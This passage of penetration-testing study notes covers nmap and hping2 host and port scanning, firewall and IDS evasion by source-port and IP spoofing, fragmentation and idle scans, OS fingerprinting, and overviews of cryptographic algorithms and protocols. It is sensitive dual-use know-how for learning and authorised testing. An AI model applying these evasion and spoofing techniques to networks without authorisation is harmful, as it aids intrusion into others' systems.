traceroute -p          set port for filter evasion
traceroute -T          use tcp packets (set port for filter evasion)
traceroute -6          IPv6
traceroute -F          tell router not to fragment
traceroute -g gw       source route options (see below B7)
```

- tracert - windows version (although there is an alias on Mint Linux) using ICMP echo requests
- ping – can be used with the record route option to enumerate hop details. The exiting interface address of each hop is usually recorded. Note that devices are required to record their route so entries maybe missing. Also limited to 9 hops so will not get all hops for larger hop count distances.

```
ping -r 9 host
```

- etrace - DaveA's tools that does everything tracerouteish.

SHOW EXAMPLES

B4b - Network sweeping techniques to prioritise a target list and the potential for false negatives

host enumeration:

nmap

```
nmap -sn <ipaddresses>          default scan (ICMP echo, TCP SYN 443, TCP ACK 80,
                                and ICMP timestamp)
nmap -sn -PS<port list>         TCP SYN to listed ports
nmap -sn -PA<port list>         TCP ACK to listed ports (good to bypass simple
                                firewalls that block SYN)
nmap -sn -PU<port list>         UDP probe with default port 40125 (good to bypass
                                simple firewalls that block TCP) ICMP errors or
                                UDP response indicate live hosts.
-PE, -PP, -PM                   ICMP Echo, Timestamp, subnet mask requests
-n, -R                          no DNS resolution, always resolve (usefull for
                                dead hosts).
--dns-servers <server list>     use these dns servers instead



Note: on local LAN arp will been done unless using --send-ip
```

icmpenum

```
icmpenum -c <class c network>   icmp echo request the class c
-i2, -i3, -i4                   timestamp, info, mask
```

icmpscan (DaveA's tools)

```

EXAMPLE
```

UDP scans:

nmap - UDP relies on ICMP error messages being returned to identify closed ports. If an ICMP unreachable (type 3, code 3) is returned the ports is marked as closed. If a ICMP unreachable (type 3, code 1, 2, 9, 10, or 13) the port is marked as filtered. UDP responses, when rarely encountered, denote open port all other ports are classed as open|filtered.

```
nmap -n -sU -vv <IPaddress>      default 1000 most common ports
-p <port list>
quick scan includes:             19,53,69,79,111,123,161,137,138,445,500,514,
                                 1434,1900,5353
-p-                              all ports
-sV                              do version scan on list of open/filtered only
```

ScanUDP works by sending crafted UDP packets to well known services and awaits positive responses

```
scanudp -v <host>   checks echo, daytime, chargen, dns,tftp,ns-netbios,snmp
```

Protocol scans:

```
nmap -s0 <hosts>
```

TCP scans:

nmap

```
nmap -sS      default syn scan of 1000 common ports
-p-           all ports
-sT           connect scan (slower, noiser, can break crap services)
-sV           service detection
```

TCP Scanning techniques:

- SYN SCAN - SYN scan is relatively unobtrusive, fast, and stealthy, since it never completes TCP connections. This technique is often referred to as half-open scanning, because you don't open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and then wait for a response. A SYN/ACK indicates the port is listening (open), while a RST (reset) is indicative of a non-listener. If no response is received after several retransmissions, the port is marked as filtered. The port is also marked filtered if an ICMP unreachable error (type 3, code 1, 2, 3, 9, 10, or 13) is received.
- Connect scan - accurate but slower and no form of stealth as a full tcp connection is established. Can break poor tcp/ip stacks due to large number of open connection with no valid data received on them.
- TCP NULL, FIN, and Xmas scans [FIN + PSH + URG] (-sN; -sF; -sX) – exploits a loop home in the TCP rfc (793) where if a port is closed you send a RST packet if the packet does not contain SYN, ACK, or RST. Only works on unix varients as windows, CISCO, IBM do not follow the RFC. If a RST packet is received, the port is considered closed, while no response means it is open|filtered. The port is marked filtered if an ICMP unreachable error (type 3, code 1, 2, 3, 9, 10, or 13) is received. Sometimes good for firewall/IDS evasion but cannot distinguish between open and filtered ports.
- ACK scan (-sA) – Stealth and can used to map out firewall rulesets. Open and closed ports return a RST (or ICMP error) other ports are classed as filtered.
- Window Scans (-sW) – detects the TCP window size value to determine if the port is open or closed. When it receives a RST back, Window scan lists the port as open or closed if the TCP Window value in that reset is positive or zero, respectively. This scan is not very reliable as only a small number of implantations behave this way.
- Idle scan (–sI) – use a zombie host to scan for you based on analysing the IP ID values on hosts with predictable IPIDs. Very stealthy and can reach targets that are trusted by the zombie host.

- FTP bounce scan (-b) – exploits old and weak FTP servers that allow the FTP PORT command. You ask the FTP server to send to another hosts and port and the response message received determines its state. Stealthy and can abuse trust relations but unlikely to work these days.

B5 - Interpreting Tool Output

B5a - Interpreting output from port scanners, network sniffers and other network enumeration tools

[Practical knowledge and experience]

B6 - Filtering Avoidance Techniques

B6a - The importance of egress and ingress filtering, including the risks associated with outbound connections

Filtering network traffic to permit only the host requiring access to specific services significantly reduces the risk off attack. Allowing outbound connections can result in unwanted traffic being let into the network:

- Inbound packets that are not SYNs defeat some firewalls.
- Specific source ports can be allowed in if the firewall is purely configured.
- Connection hijacking into an outbound connection
- Spoofed SRC address can get passed firewall

B7 - Packet Crafting

B7a - Packet crafting to meet a particular requirement:

- ### Modifying source ports

Many tools allow modification of source ports which is useful to bypass network filtering when the firewall used stateless mechanisms. For example to allow internal users to browse the web UDP port 53 and TCP ports 80 and 443 are let into the network. Setting the source port to any of these commonly allowed protocols can bypass the firewall and allow packets to get into the network. FTP is another good example due to the way it can connect back via SRC port 20.

hping2 can spoof source addresses as follows:

```
hping2 -s | --baseport <port>        spoof source port
```

nmap can spoof source addresses as follows:

```
nmap -g | --source-port <port>       spoof source port
```

- ### Spoofing IP addresses

Obviously spoofing source IP address can bypass a firewall if you know IP addresses that are permitted to traverse the filter. This can be done when you are in a network location that can easily see the returned responses as the packets will no longer be returned directly to your IP.

hping2 can spoof source addresses as follows:

```
hping2 -a | --spoof <addr>           spoof source address
```

nmap can spoof source addresses as follows:

```
nmap -S <address>                    spoof source address
```

- ### Manipulating TTL's

The basis of the traceroute program. Uses ICMP TTL expired error responses to enumerate network hops. The sender initially sets the TTL to one and sends to the destination. The first hop router will decrement the TTL see it is now zero and send the ICMP TTL expired error message back to the sender. The send repeats the process for each subsequent hop on route to the destination by incrementing the TTL by one each time. Viewing TTLs ion responses can also identify firewall rules as the firewall may uses its own TTL is a RST packet rather than the value used by the target host.

hping2 can set the TTL value using as follows:

```
hping2 -t | --ttl <value>  set TTL value (default 64)
```

nmap can set the TTL value using as follows:

```
nmap -t | --ttl <value>    set TTL value (default 64)
```

- **Fragmentation**

IP fragmentation can be used to bypass simple firewalls and evade IDS as it could take significant processing to re-construct the packets and then inspect the rules. Host with predicable IPID could be susceptible to blind packet injection into a fragmented TCP segment or UDP datagram. Malformed fragments can also cause DoS condition on devices with poorly implemented TCP/IP stacks.

hping2 can set the TTL value using as follows:

```
hping2 -f | --frag         fragment the packet (-m|--mtu to set size)
```

nmap can set the TTL value using as follows:

```
nmap -f (--mtu <size>)     fragment the packet
```

- **Generating ICMP packets**

Some ICMP packets can get through firewalls when others have been explicitly denied. Nmap probes can set to some common ICMP messages but hping2 can be used to create any form of ICMP message required.

B8 - OS Fingerprinting

B8a - Remote operating system fingerprinting; active and passive techniques

TCP/IP stack fingerprinting is the passive collection of configuration attributes from a remote device during standard layer 4 network communications. The combination of parameters may then be used to infer the remote machine's operating system (aka, OS fingerprinting), or incorporated into a device fingerprint. Certain parameters within the TCP protocol definition are left up to the implementation. Different operating systems, and different versions of the same operating system, set different defaults for these values. By collecting and examining these values, one may differentiate among various operating systems, and implementations of TCP/IP. The TCP/IP fields that may vary include the following:

- Initial packet size (16 bits)
- Initial TTL (8 bits)
- Window size (16 bits)
- Max segment size (16 bits)
- Window scaling value (8 bits)
- "don't fragment" flag (1 bit)
- "sackOK" flag (1 bit)
- "nop" flag (1 bit)
- Sequence number generation
- IP ID generation

These values may be combined to form a 67-bit signature, or fingerprint, for the target machine.

Tools:

pof – P0f is a versatile passive OS fingerprinting tool. P0f can identify the system on machines that connect to your box, machines you connect to, and machines whose traffic can be observed on the network.

Ettercap – is capable of intercepting traffic on a network segment, capturing passwords, and conducting active eavesdropping against a number of common protocols. Ettercap includes OS fingerprinting: determine the OS of the victim host and its network adapter. Passive scanning of the LAN: retrieval of information about hosts on the LAN, their open ports, the version numbers of available services, the type of the host (gateway, router or simple PC) and estimated distances in number of hops.

Nmap – active fingerprinting.

```
nmap -O [--fuzzy]   OS detection (fuzzy option gives a more aggressive guess)
```

B9 - Application Fingerprinting and Evaluating Unknown Services

B9a - Determining server types and network application versions from application banners

nc –netcat to port and view banner
nmap version scanning will banner grab too

B9b - Evaluation of responsive from unknown network applications

Use nmaps, nc, amap and view responses within packet captures
Nmap –sV is the best option for version detection.

B10 - Network Access Control Analysis

B10a - Reviewing firewall rule bases and network access control lists

IPTables example

Cisco Example

Solaris IPF example

Windows Example

Checkpoint FW1 Example

B11 – Cryptography

B11a - Differences between encryption and encoding

- Encoding is changing the way data is presented using a public, generally-understood, and (usually) low-overhead method. It is used for the purpose of allowing the data to survive intact and easily recoverable after some sort of transfer.
- Encryption is changing the way data is presented using a method or a key that is restricted and is often computationally intensive. It is used for the purpose of shielding the data from some people while making it available to others.
- In short, encoding is for preservation, encryption is for obfuscation.

B11b - Symmetric / asymmetric encryption

Symmetric encryption:

- A secret key, which can be a number, a word, or just a string of random letters, is applied to the text of a message to change the content in a particular way. This might be as simple as shifting each letter by a number of places in the alphabet. As long as both sender and recipient know the secret key, they can encrypt and decrypt all messages that use this key.
- Popular and well-respected symmetric algorithms include Twofish, Serpent, AES (Rijndael), Blowfish, CAST5, RC4, TDES, and IDEA.

- Many modern block ciphers are based on a construction proposed by Horst Feistel. Feistel's construction allows to build invertible functions from other functions that are themselves not invertible.
- Symmetric ciphers have historically been susceptible to known-plaintext attacks, chosen plaintext attacks, differential cryptanalysis and linear cryptanalysis. Careful construction of the functions for each round can greatly reduce the chances of a successful attack.
- When used with asymmetric ciphers for key transfer, pseudorandom key generators are nearly always used to generate the symmetric cipher session keys. However, lack of randomness in those generators or in their initialization vectors is disastrous and has led to cryptanalytic breaks in the past. Therefore, it is essential that an implementation uses a source of high entropy for its initialization.
- Require a secure initial exchange of one or more secret keys to both sender and receiver

Asymmetric Encryption:

- The problem with secret keys is exchanging them over the Internet or a large network while preventing them from falling into the wrong hands. Anyone who knows the secret key can decrypt the message. One answer is asymmetric encryption, in which there are two related keys--a key pair. A public key is made freely available to anyone who might want to send you a message. A second, private key is kept secret, so that only you know it. Any message (text, binary files, or documents) that are encrypted by using the public key can only be decrypted by applying the same algorithm, but by using the matching private key. Any message that is encrypted by using the private key can only be decrypted by using the matching public key. This means that you do not have to worry about passing public keys over the Internet (the keys are supposed to be public). A problem with asymmetric encryption, however, is that it is slower than symmetric encryption. It requires far more processing power to both encrypt and decrypt the content of the message.
- Use of Public key cryptography allows protection of the authenticity (and non-repudiation) of a message by creating a digital signature of a message using the private key, which can be verified using the public key. It also allows protection of the confidentiality and integrity of a message, by public key encryption, encrypting the message using the public key, which can only be decrypted using the private key.
- Weaknesses in the certificate change can lead to compromise. Compromised keys need to be revoked immediately. Certificate authorities need to be trusted and ensure that they correctly vouch for the ID of the person they issue certificates for. Man-in the middle attacks are also possible if the certificate path is not fully checked. When a private key used for certificate creation higher in the PKI server hierarchy is compromised or accidentally disclosed then a man in the middle attack is possible, making any subordinate certificate wholly insecure.

B11c - Encryption algorithms: DES, 3DES, AES, RSA, RC4.

Data Encryption Standard (DES):

- Block cipher based on a symmetric-key algorithm that uses a 56-bit key.
- DES is now considered to be insecure for many applications. This is chiefly due to the 56-bit key size being too small; a DES key it has publicly been broken in 22 hours and 15 minutes.
- DES is the archetypal block cipher — an algorithm that takes a fixed-length string of plaintext bits and transforms it through a series of complicated operations into another ciphertext bitstring of the same length. In the case of DES, the block size is 64 bits. DES also uses a key to customize the transformation, so that decryption can supposedly only be performed by those who know the particular key used to encrypt. The key ostensibly consists of 64 bits; however, only 56 of these are actually used by the algorithm. Eight bits are used solely for checking parity, and are thereafter discarded. Hence the effective key length is 56 bits, and it is usually quoted as such.
- Within the algorithm's structure there are 16 identical stages of processing, termed rounds. There is also an initial and final permutation, termed IP and FP, which are inverses (IP "undoes" the action of FP, and vice versa). IP and FP have almost no cryptographic significance, but were apparently included in order to facilitate loading blocks in and out of mid-1970s hardware, as well as to make DES run slower in software.
- Before the main rounds, the block is divided into two 32-bit halves and processed alternately; this criss-crossing is known as the Feistel scheme. The Feistel structure ensures that decryption and encryption are very similar processes — the only difference is that the subkeys are applied in the reverse order when decrypting.

- The F-function operates on half a block (32 bits) at a time and consists of four stages: Expansion,Key mixing, Substitution, Permutation.

Triple DES (3DES):

- Named because it applies the Data Encryption Standard (DES) cipher algorithm three times to each data block.
- Triple DES provides a relatively simple method of increasing the key size of DES to protect against brute force attacks, without requiring a completely new block cipher algorithm.
- The standards define three keying options:
    - Keying option 1: All three keys are independent. Strongest, with 3 x 56 = 168 independent key bits but due to the meet-in-the-middle attack the effective security it provides is only 112 bits.
    - Keying option 2: K1 and K2 are independent, and K3 = K1. Less security, with 2 x 56 = 112 key bits. This option is stronger than simply DES encrypting twice, e.g. with K1 and K2, because it protects against meet-in-the-middle attacks. However, this option is susceptible to certain chosen-plaintext or known-plaintext attacks and thus it is designated by NIST to have only 80 bits of security.
    - Keying option 3: All three keys are identical, i.e. K1 = K2 = K3. No better than DES, with only 56 key bits. This option provides backward compatibility with DES, because the first and second DES operations simply cancel out.

Advanced Encryption Standard (AES):

- The standard comprises three block ciphers, AES-128, AES-192 and AES-256, adopted from a larger collection originally published as Rijndael. Each of these ciphers has a 128-bit block size, with key sizes of 128, 192 and 256 bits, respectively.
- AES has a fixed block size of 128 bits and a key size of 128, 192, or 256 bits, whereas Rijndael can be specified with block and key sizes in any multiple of 32 bits, with a minimum of 128 bits. The blocksize has a maximum of 256 bits, but the keysize has theoretically no maximum.
- AES operates on a 4×4 array of bytes, termed the state (versions of Rijndael with a larger block size have additional columns in the state). Most AES calculations are done in a special finite field.
- The AES cipher is specified as a number of repetitions of transformation rounds that convert the input plaintext into the final output of ciphertext. Each round consists of several processing steps, including one that depends on the encryption key. A set of reverse rounds are applied to transform ciphertext back into the original plaintext using the same encryption key.
- The only successful published attacks against the full AES are side-channel attacks on some specific implementations and theoretic related-key attacks which aren't currently effective against full AES.

RSA:

- RSA (which stands for Rivest, Shamir and Adleman who first publicly described it) is an algorithm for public-key cryptography. It is the first algorithm known to be suitable for signing as well as encryption, and was one of the first great advances in public key cryptography. RSA is widely used in electronic commerce protocols, and is believed to be secure given sufficiently long keys and the use of up-to-date implementations.
- RSA involves a public key and a private key. The public key can be known to everyone and is used for encrypting messages. Messages encrypted with the public key can only be decrypted using the private key. The private key must be kept secure.
- Message signing provides verification of origin and message integrity. The sender produces a hash of the message and uses their private key to create a signature that is appended to the ciphertext. The receiver also produces the same has of the message and used the sender public key on the hash to verify that the signature is from the sender.
- When used in practice, RSA is generally combined with some padding scheme which is used to prevent a number of attacks that potentially work against RSA without padding. Practical RSA implementations typically embed structured, randomized padding into the message so it will encrypt to one of a large number of different possible ciphertexts. Standards such as PKCS#1 have been carefully designed to securely pad messages prior to RSA encryption. Within PKCS#1 there are various schemes for encryption and dealing with signatures, some of the older versions of these schemes has known weaknesses.

- The security of the RSA cryptosystem is based on the difficulty of solving mathematical problems and full decryption of an RSA ciphertext is thought to be infeasible on the assumption that both of these problems are too hard, i.e., no efficient algorithm exists for solving them. To achieve the full strength an RSA-based cryptosystem must also use a padding scheme.
- As with all ciphers, how RSA public keys are distributed is important to security. Key distribution must be secured against a man-in-the-middle attack. Suppose Eve has some way to give Bob arbitrary keys and make him believe they belong to Alice. Suppose further that Eve can intercept transmissions between Alice and Bob. Eve sends Bob her own public key, which Bob believes to be Alice's. Eve can then intercept any ciphertext sent by Bob, decrypt it with her own private key, keep a copy of the message, encrypt the message with Alice's public key, and send the new ciphertext to Alice. In principle, neither Alice nor Bob would be able to detect Eve's presence. Defenses against such attacks are often based on digital certificates or other components of a public key infrastructure such as trusted CAs.

RC4:

- One of the most widely-used software stream cipher and is used in popular protocols such as Secure Sockets Layer (SSL) (to protect Internet traffic) and WEP (to secure wireless networks). While remarkable for its simplicity and speed in software, RC4 has weaknesses that argue against its use in new systems. It is especially vulnerable when the beginning of the output keystream is not discarded, nonrandom or related keys are used, or a single keystream is used twice; some ways of using RC4 can lead to very insecure cryptosystems such as WEP.
- RC4 generates a pseudorandom stream of bits (a keystream) which, for encryption, is combined with the plaintext using bit-wise exclusive-or; decryption is performed the same way (since exclusive-or is a symmetric operation). To generate the keystream, the cipher makes use of a secret internal state which consists of two parts: A permutation of all 256 possible bytes and two 8-bit index-pointers. The permutation is initialized with a variable length key, typically between 40 and 256 bits, using the key-scheduling algorithm (KSA). Once this has been completed, the stream of bits is generated using the pseudo-random generation algorithm (PRGA).
- Unlike more modern stream cipher, RC4 does not take a separate nonce alongside the key. This means that if a single long-term key is to be used to securely encrypt multiple streams, the cryptosystem must specify how to combine the nonce and the long-term key to generate the stream key for RC4. One approach to addressing this is to generate a "fresh" RC4 key by hashing a long-term key with a nonce. However, many applications that use RC4 simply concatenate key and nonce; RC4's weak key schedule then gives rise to a variety of serious problems.

B11d - Hashes: SHA1 and MD5

A cryptographic hash function is a deterministic procedure that takes an arbitrary block of data and returns a fixed-size bit string, the (cryptographic) hash value, such that an accidental or intentional change to the data will change the hash value. The data to be encoded is often called the "message", and the hash value is often referred to as the message digest or simply digest.

The ideal cryptographic hash function has four main or significant properties:

- it is easy to compute the hash value for any given message,
- it is infeasible to find a message that has a given hash,
- it is infeasible to modify a message without changing its hash,
- it is infeasible to find two different messages with the same hash.

SHA1:

- Secure Hash Algorithm 1 (SHA-1) produces a 160-bit digest from a message with a maximum length of (2^{64} − 1) bits.
- SHA-1 forms part of several widely-used security applications and protocols, including TLS and SSL, PGP, SSH, S/MIME, and IPsec.
- Published attacks can find collisions in the full version of SHA-1, requiring fewer than 2^{69} operations. (A brute-force search would require 2^{80} operations.)
- sha1sum is a computer program that calculates and verifies SHA-1 hashes.

MD5:

- MD5 (Message-Digest algorithm 5) is a widely used cryptographic hash function with a 128-bit hash value. MD5 has been employed in a wide variety of security applications, and is also commonly used to check the integrity of files. However, it has been shown that MD5 is not collision resistant; as such, MD5 is not suitable for applications like SSL certificates or digital signatures that rely on this property.
- An MD5 hash is typically expressed as a 32-digit hexadecimal number.
- The security of the MD5 hash function is severely compromised. A collision attack exists that can find collisions within seconds on a regular computer. Further, there is also a chosen-prefix collision attack that can produce a collision for two chosen arbitrarily different inputs, within hours on a single regular computer.
- A number of projects have published MD5 rainbow tables online, that can be used to reverse many MD5 hashes into strings that collide with the original input, usually for the purposes of password cracking. The use of MD5 in some websites' URLs means that search engines such as Google can also sometimes function as a limited tool for reverse lookup of MD5 hashes

B11e - Message Integrity codes: HMAC

- In cryptography, HMAC (Hash-based Message Authentication Code), is a specific construction for calculating a message authentication code (MAC) involving a cryptographic hash function in combination with a secret key.
- A message authentication code (often MAC) is a short piece of information used to authenticate a message.
- As with any MAC, it may be used to simultaneously verify both the data integrity and the authenticity of a message.
- Any iterative cryptographic hash function, such as MD5 or SHA-1, may be used in the calculation of an HMAC; the resulting MAC algorithm is termed HMAC-MD5 or HMAC-SHA1 accordingly.
- The cryptographic strength of the HMAC depends upon the cryptographic strength of the underlying hash function, the size of its hash output length in bits and on the size and quality of the cryptographic key.

B12 -Application of Cryptography

B12a - SSL, IPsec, SSH, PGP

SSL:

- Secure Socket Layer (SSL), and it successor TLS, are cryptographic protocols that provide security for communications over networks such as the Internet. TLS and SSL encrypt the segments of network connections at the Transport Layer end-to-end.
- SSL/TLS protocol allows client/server applications to communicate across a network in a way designed to prevent eavesdropping and tampering. They provide endpoint identity verification, authentication, and communications confidentiality over the Internet using cryptography.
- In applications design, TLS is usually implemented on top of any of the Transport Layer protocols, encapsulating the application-specific protocols such as HTTP, FTP, SMTP, NNTP, and XMPP. However it can also be used for UDP applications. TLS can also be used to tunnel an entire network stack to create a VPN, as is the case with OpenVPN.
- A prominent use of SSL/TLS is for securing World Wide Web traffic carried by HTTP to form HTTPS. Notable applications are electronic commerce and asset management. Increasingly, the Simple Mail Transfer Protocol (SMTP) is also protected by TLS. These applications use public key certificates to verify the identity of endpoints.
- A TLS client and server negotiate a stateful connection by using a handshaking procedure. During this handshake, the client and server agree on various parameters used to establish the connection's security.
    - The handshake begins when a client connects to a TLS-enabled server requesting a secure connection, and presents a list of supported CipherSuites (ciphers and hash functions).
    - From this list, the server picks the strongest cipher and hash function that it also supports and notifies the client of the decision.
    - The server sends back its identification in the form of a digital certificate. The certificate usually contains the server name, the trusted certificate authority (CA), and the server's public encryption key.

  - The client may contact the server that issued the certificate (the trusted CA as above) and confirm that the certificate is authentic before proceeding.
  - In order to generate the session keys used for the secure connection, the client encrypts a random number (RN) with the server's public key (PbK), and sends the result to the server. Only the server should be able to decrypt it (with its private key (PvK)): this is the one fact that makes the keys hidden from third parties, since only the server and the client have access to this data. The client knows PbK and RN, and the server knows PvK and (after decryption of the client's message) RN. A third party may only know RN if PvK has been compromised.
  - From the random number, both parties generate key material for encryption and decryption. This concludes the handshake and begins the secured connection, which is encrypted and decrypted with the key material until the connection closes.
- CipherSuite - combination of authentication, encryption, and message authentication code (MAC) algorithms used to negotiate the security settings for a network connection using the Transport Layer Security (TLS) or Secure Sockets Layer (SSL) network protocol. Each named cipher defines:
  - The key exchange algorithm is used to determine if and how the client and server will authenticate during the handshake.
  - The bulk encryption algorithm is used to encrypt the message stream. It also includes the key size and the lengths of explicit and implicit initialization vectors (cryptographic nonces). The message authentication code (MAC) algorithm is used to create the message digest, a cryptographic hash of each block of the message stream.
  - The pseudorandom function (PRF) is used to create the master secret, a 48-byte secret shared between the two peers in the connection. The master secret is used as a source of entropy when creating session keys, such as the one used to create the MAC.

Key exchange algorithm i.e. RSA/DSA
Authentication i.e. RSA/DSA
Encryption i.e DES OR AES
MAC – SHA1 or MD5

IPSec:

- Internet Protocol Security (IPsec) is a protocol suite for securing Internet Protocol (IP) communications by authenticating and encrypting each IP packet of a data stream. IPsec also includes protocols for establishing mutual authentication between agents at the beginning of the session and negotiation of cryptographic keys to be used during the session.
- IPsec is a dual mode, end-to-end, security scheme operating at the Internet Layer of the Internet Protocol Suite or OSI model Layer 3. Hence, IPsec can be used for protecting any application traffic across the Internet. Applications need not be specifically designed to use IPsec.
- The IPsec suite is a framework of open standards. IPsec uses the following protocols to perform various functions:
  - A security association (SA) set up by Internet Key Exchange (IKE and IKEv2) or Kerberized Internet Negotiation of Keys (KINK) by handling negotiation of protocols and algorithms and to generate the encryption and authentication keys to be used by IPsec.
  - Authentication Header (AH) to provide connectionless integrity and data origin authentication for IP datagrams and to provide protection against replay attacks.
  - Encapsulating Security Payload (ESP) to provide confidentiality, data origin authentication, connectionless integrity, an anti-replay service (a form of partial sequence integrity), and limited traffic flow confidentiality.
- IPsec can be implemented in a host-to-host transport mode, as well as in a network tunnel mode:
  - Transport mode - In transport mode, only the payload (the data you transfer) of the IP packet is encrypted and/or authenticated. The routing is intact, since the IP header is neither modified nor encrypted; however, when the authentication header is used, the IP addresses cannot be translated, as this will invalidate the hash value. Transport mode is used for host-to-host communications.
  - Tunnel mode - In tunnel mode, the entire IP packet (data and IP header) is encrypted and/or authenticated. It is then encapsulated into a new IP packet with a new IP header. Tunnel mode is used to create Virtual Private Networks for network-to-network communications (e.g. between

routers to link sites), host-to-network communications (e.g. remote user access), and host-to-host communications (e.g. private chat).

- Cryptographic algorithms defined for use with IPsec include: HMAC-SHA1 for integrity protection and authenticity; TripleDES-CBC and AES-CBC for confidentiality.

SSH:

- Secure Shell or SSH is a network protocol that allows data to be exchanged using a secure channel between two networked devices. Used primarily on GNU/Linux and Unix based systems to access shell accounts, SSH was designed as a replacement for Telnet and other insecure remote shells, which send information, notably passwords, in plaintext, rendering them susceptible to packet analysis. The encryption used by SSH provides confidentiality and integrity of data over an insecure network, such as the Internet.
- SSH uses public-key cryptography to authenticate the remote computer and allow the remote computer to authenticate the user, if necessary.
- SSH is typically used to log into a remote machine and execute commands, but it also supports tunneling, forwarding TCP ports and X11 connections; it can transfer files using the associated SFTP or SCP protocols. SSH uses the client-server model where the SSH client typically establishes connections to an SSH daemon accepting remote connections.
- The SSH-2 protocol has an internal architecture with well-separated layers which are:
    - Transport layer - handles initial key exchange and server authentication and sets up encryption, compression and integrity verification. It exposes to the upper layer an interface for sending and receiving plaintext packets and also arranges for key re-exchange, usually after 1 GB of data or a 1 hour period.
    - User authentication layer - handles client authentication, which is client driven, and provides a number of authentication methods:
        - Password - a method for straightforward password authentication, including a facility allowing a password to be changed.
        - Publickey - a method for public key-based authentication, usually supporting at least DSA or RSA keypairs.
        - Keyboard-interactive - a versatile method where the server sends one or more prompts to enter information and the client displays them and sends back responses keyed-in by the user. Used to provide one-time password authentication such as S/Key or SecurID.
        - GSSAPI authentication - providing an extensible scheme to perform SSH authentication using external mechanisms such as Kerberos 5 or NTLM, providing single sign on capability to SSH sessions.
    - Connection layer - defines the concept of channels, channel requests and global requests using which SSH services are provided. A single SSH connection can host multiple channels simultaneously, each transferring data in both directions. Channel requests are used to relay out-of-band channel specific data, such as the changed size of a terminal window or the exit code of a server-side process.
- Since SSH-1 has inherent design flaws which make it vulnerable (e.g., man-in-the-middle attacks), it is now generally considered obsolete and should be avoided by explicitly disabling fallback to SSH-1. In all versions of SSH, it is important to verify unknown public keys before accepting them as valid. Accepting an attacker's public key as a valid public key has the effect of disclosing the transmitted password and allowing man-in-the-middle attacks.

PGP:

- Pretty Good Privacy (PGP) is a computer program that provides cryptographic privacy and authentication. PGP is often used for signing, encrypting and decrypting e-mails to increase the security of e-mail communications. In addition to protecting data in transit over a network, PGP encryption can also be used to protect data in long-term data storage such as disk files.
- PGP encryption uses a serial combination of hashing, data compression, symmetric-key cryptography, and, finally, public-key cryptography; each step uses one of several supported algorithms. Each public key is bound to a user name and/or an e-mail address. The first version of this system was generally known as a web of trust to contrast with the X.509 system which uses a hierarchical approach based on certificate

authority and which was added to PGP implementations later. Current versions of PGP encryption include both options through an automated key management server.

- PGP supports message authentication (digital signature to verify sender) and integrity checking to detect whether a message has been altered. The sender uses PGP to create a digital signature (hash of message generated with private key) for the message with either the RSA or DSA signature algorithms.
- To the best of publicly available information, there is no known method which will allow a person or group to break PGP encryption by cryptographic or computational means. However, early versions of PGP have been found to have theoretical vulnerabilities and so current versions are recommended.

B12b - Common wireless (802.11) encryption protocols: WEP, WPA, TKIP

WEP

- Wired Equivalent Privacy (WEP) is a deprecated algorithm to secure IEEE 802.11 wireless networks. Wireless networks broadcast messages using radio and are thus more susceptible to eavesdropping than wired networks. When introduced WEP was intended to provide confidentiality comparable to that of a traditional wired network. However, several serious weaknesses were identified by cryptanalysts with the result that today a WEP connection can be cracked with readily available software within minutes.
- WEP uses the stream cipher RC4 for confidentiality, and the CRC-32 checksum for integrity. Standard 64-bit WEP uses a 40 bit key, which is concatenated with a 24-bit initialization vector (IV) to form the RC4 traffic key. A 128-bit WEP key has the same 24-bit IV and 104bits for encryption.
- Two methods of authentication can be used with WEP: Open System authentication and Shared Key authentication. Open System authentication is preferable as it is possible to derive the keystream used for the handshake by capturing the challenge frames in Shared Key authentication.
    - Open System authentication - the WLAN client need not provide its credentials to the Access Point during authentication. After the authentication and association, WEP can be used for encrypting the data frames. At this point, the client needs to have the right keys.
    - Shared Key authentication- the WEP key is used for authentication. A four-way challenge-response handshake is used:
        - The client station sends an authentication request to the Access Point.
        - The Access Point sends back a clear-text challenge.
        - The client has to encrypt the challenge text using the configured WEP key, and send it back in another authentication request.
        - The Access Point decrypts the material, and compares it with the clear-text it had sent. Depending on the success of this comparison, the Access Point sends back a positive or negative response.

      After the authentication and association, the pre-shared WEP key is also used for encrypting the data frames using RC4.
- Because RC4 is a stream cipher, the same traffic key must never be used twice. The purpose of an IV, which is transmitted as plain text, is to prevent any repetition, but a 24-bit IV is not long enough to ensure this on a busy network. The way the IV was used also opened WEP to a related key attack. For a 24-bit IV, there is a 50% probability the same IV will repeat after 5000 packets.

WPA

- Wi-Fi Protected Access (WPA and WPA2) are wireless communication protection system produced in response to several serious weaknesses researchers had found in the previous system, WEP (Wired Equivalent Privacy).
- Pre-shared key mode (PSK, also known as Personal mode) is designed for home and small office networks that don't require the complexity of an 802.1X authentication server. Each wireless network device encrypts the network traffic using a 256 bit key. This key may be entered either as a string of 64 hexadecimal digits, or as a passphrase of 8 to 63 printable ASCII characters. Shared-key WPA remains vulnerable to password cracking attacks if users rely on a weak passphrase. To further protect against intrusion the network's SSID should not match any entry in the top 1000 SSIDs.

- A WPA weakness exists which relied on a previously known flaw in WEP that could be exploited only for the TKIP algorithm in WPA. The flaw does not lead to key recovery, but only a keystream that encrypted a particular packet, and which can be reused as many as seven times to inject arbitrary data of the same packet length to a wireless client. For example, this allows someone to inject faked ARP packets which makes the victim send packets to the open Internet. This attack was further optimised enabling attackers to inject larger malicious packets (596 bytes, to be more specific) within approximately 18 minutes and 25 seconds. This does not affect WPA2 systems that use the stronger CCMP algorithm.
- WPA- and WPA2- Enterprise integrate the use of EAP to perform 802.1x authentication via a remote authentication server and 802.1x enabled clients.

TKIP

- Temporal Key Integrity Protocol or TKIP is a security protocol used in the IEEE 802.11 wireless networking standard. TKIP was designed to replace WEP without requiring the replacement of legacy hardware. This was necessary because the breaking of WEP had left WiFi networks without viable link-layer security, and a solution was required for already deployed hardware.
- TKIP and the related WPA standard, implement three new security features to address security problems encountered in WEP protected networks. First, TKIP implements a key mixing function that combines the secret root key with the initialization vector before passing it to the RC4 initialization. Second, WPA implements a sequence counter to protect against replay attacks by rejecting packets received out of order at the access point. Finally, TKIP implements a 64-bit message integrity check named MICHAEL. TKIP ensures that every data packet is sent with a unique encryption key.
- TKIP uses the same underlying mechanism as WEP, and consequently is vulnerable to a number of similar attacks. The message integrity check, per-packet key hashing, broadcast key rotation, and a sequence counter discourage many attacks. The key mixing function also eliminates the WEP key recovery attacks. Notwithstanding these changes, the weakness of some of these additions have allowed for new, although narrower, attacks.
